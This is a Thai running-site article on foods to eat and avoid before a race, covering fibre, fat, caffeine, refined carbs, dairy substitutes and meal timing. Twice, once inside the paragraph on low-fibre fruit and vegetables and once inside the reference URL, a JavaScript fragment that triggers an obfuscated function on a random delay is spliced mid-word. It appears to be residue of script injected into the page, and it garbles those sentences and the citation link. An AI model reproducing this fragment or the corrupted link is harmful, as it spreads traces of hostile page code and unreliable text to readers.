• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Healthy Tips

Pre-Run Food : นักวิ่งควรกิน-ไม่ควรกิน อะไรก่อนลงวิ่งเเข่งขัน

kan by kan
8 May 2018
in Healthy Tips, Running Tips, Tips & Technics
0
Pre-Run Food : นักวิ่งควรกิน-ไม่ควรกิน อะไรก่อนลงวิ่งเเข่งขัน
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

อาหารคือแหล่งพลังงานที่สำคัญสำหรับร่างกาย สารอาหารที่รับเข้าไปจะกลายเป็นแหล่งพลังงานสะสมในกล้ามเนื้อ ตับและกระแสเลือดให้กับนักวิ่ง การมีแหล่งพลังงานเพียงพอจะทำให้ performance การวิ่งที่ดี และในช่วงเวลา 24 ชั่วโมงก่อนการแข่งขันถือว่าเป็นช่วงเวลาที่สำคัญและต้องดูแลตัวเองให้ดี ระมัดระวังเรื่องอาหารการกินเป็นพิเศษ นักวิ่งธาตุอ่อน (ท้องและลำไส้ไวต่ออาหาร) หรือแม้ตานักวิ่งธาตุแข็ง หากกินของผิดสำแดงแม้แต่นิดเดียวอาจจะมีผลต่อ Performance การวิ่งได้ หรือเลวร้ายที่สุดคือ ท้องเสียไม่สามารถลงแข่งได้

Pre-Run Food : นักวิ่งควรกิน-ไม่ควรกิน อะไรก่อนลงวิ่งเเข่งขัน

ก่อนเข้าเรื่อง…สำหรับใครที่ทำใจควบคุมอาหารการกินไม่ค่อยได้ เราก็แนะนำให้โฟกัสอาหารมื้อสุดท้ายก่อนเข้านอนและมื้อรองท้อง 2 ชั่วโมงก่อนวิ่งแข่งขัน เอาหล่ะ!..เรามาดูกันว่า นักวิ่งควรกิน-ไม่ควรกิน อะไรบ้างก่อนลงวิ่งเเข่งขัน

ควรหลีกเลี่ยง

อาหารประเภท High-Fiber Food อาหารประเภทผักผลไม้ ขนมปังชนิด Whole-grain ซึ่งจะมีผลต่อการย่อยอาหารและการทำงานของลำไส้ เช่น ท้องอืดและอาจทำให้ท้องเสียได้ เป็นต้น แม้อาหารประเภทนี้จะดีต่อสุขภาพแต่นักวิ่งก็ควรหลีกเลี่ยง หรือลดให้น้อยลงหากต้องมีการวิ่งแข่งขันหรือการแข่งขันประเภท Long Run ในวันรุ่งขึ้น

อาหารประเภท High-Fat Food หรืออาหารประเภทของมันของทอด อย่าง มันฝรั่งทอด แฮมเบอร์เกอร์ เบคอนและชีส จะใช้เวลาในการย่อยนานกว่าปกติและให้สารอาหารน้อย ไม่เหมาะกับนักวิ่งที่มีรายการแข่งขันวิ่งในวันรุ่งขึ้นและการวิ่งแข่งแบบ Long Run เช่นกัน

Pre-Run Food

กาเฟอีน (Caffeine) การดื่มกาแฟหรือเครื่องดื่มที่มีกาเฟอีน เป็นอีกหนึ่งของกินที่มีผลทำให้ท้องไส้เดินได้เช่นกัน สำหรับนักวิ่งที่ดื่มเป็นครั้งคร่าว เราไม่แนะนำให้ดื่มก่อนการวิ่ง แต่สำหรับนักวิ่งที่ดื่มเป็นประจำ กาเฟอีนจะช่วยบูส Performance ได้ระดับหนึ่งทีเดียว สำหรับใครที่อยากลองดื่มก็ให้ควรทดลองในสนามฝึกซ้อมซะก่อน สังเกตดูว่ามันเข้ากับร่างกายเราได้หรือไม่

ปลอดภัยกินได้

อาหารประเภทแป้งที่ผ่านการขัดสี หรือ Refined Carbs อาหารประเภทนี้ได้แก่ ข้าวขาว ขนมปังขาว สปาเกตตี้และพาสต้า เป็นต้น แม้จะคุณค่าจะไม่มากเท่าอาหารออร์แกนิค แต่จะย่อยง่าย กระเพาะลำไส้ไม่ทำงานหนัก หรือในช่วงมื้อก่อนแข่ง ขนมปังกับแยม ขนมปังกับแยมถั่วทาหน้าและน้ำเปล่าก็เพียงพอแล้ว

อาหารประเภท Low-Fiber Fruits andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Veggies อาหารที่มีไฟเบอร์น้อยแต่ดู Healthy ย่อยง่ายโดยที่กระเพาะและลำไส้ไม่ต้องทำงานหนัก อย่างเช่น แตงกวา มะเขือเทศ มันต้มและองุ่น เป็นต้น

อาหารประเภททดแทนผลิตภัณฑ์ที่ทำด้วยนม หรือ Dairy Substitutes เพราะคนเอเชียส่วนใหญ่ไม่สามารถย่อยนมได้เนื่องจาก lactose ดังนั้นผลิตภัณฑ์ที่สามารถทดแทนได้ อย่างเช่น นมถั่วเหลือง น้ำนมข้าวและนมอัลมอนด์ ถ้าชอบนมก็ให้ลองนมเปรี้ยวที่มีแลคโตบาซิลัส กับโยเกริ์ต เพราะเป็นนมที่ผ่านกระบวนการย่อยมาระดับหนึ่งเเล้ว

จำไว้ว่าเรื่องอาหารการกินสำคัญมาในช่วงเวลาก่อนแข่งขัน 24 ชั่วโมง นักวิ่งควรรับประทานอาหารที่ตนเองคุ้นเคยเท่านั้น ภาษาอังกฎษถึงกับกล่าวว่าอาหร Pre-Run ต้อง Nothing New กันเลย พยายามห้ามใจไม่ลองของแปลกไว้ก่อน ค่อยเอาไว้ช่วงหลังจบการแข่งขันจะดีที่สุด ข้อแนะนำอีกอย่างคือการเซต Timing อาหารก่อนการแข่งขัน มื้ออาหาร Pre-Run ถ้าจะให้ดีควรให้มีเวลาย่อยถึง 4-6 ชั่วโมง ให้กระเพาะได้ย่อยอาหารและลำไส้ได้ดูดซึมแร่ธาตุอาหารไปสะสมเป็นแหล่งพลังงาน ลดการทำงานของกระเพาะและลำไส้เวลาวิ่ง

ตบท้ายก่อนจาก…ถ้าการแข่งขันเกิดขึ้นในช่วงเช้า (โดยเฉพาะเมืองไทย) ก่อนเข้านอนมื้อสุดท้ายก็ควรเป็นอาหารประเภทที่มีคาร์โบไฮเดรตสูง และถ้าเกิดอาการหิวก่อนจะวิ่งก็ ลองรับอาหารประเภทพวก Snack ที่เป็นคาร์โบไฮเตรดผสมโปรตีน เช่น Energy-bar ที่มีขายตามงานทั่วไป ประมาณ 30-60 นาที ก่อนแข่งขัน เท่านี้ร่างกายคุณก็จะได้พลังงานพร้อมวิ่งละครับ

อ้างอิง https://www.verywellfit.com/best-andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-worst-pre-run-foods-2911552

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • อาดิดาสเปิดตัวชุดออกกำลังกายผู้หญิงคอลเลคชั่น Must Have เพิ่มความมั่นใจกระชับทุกสัดส่วน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.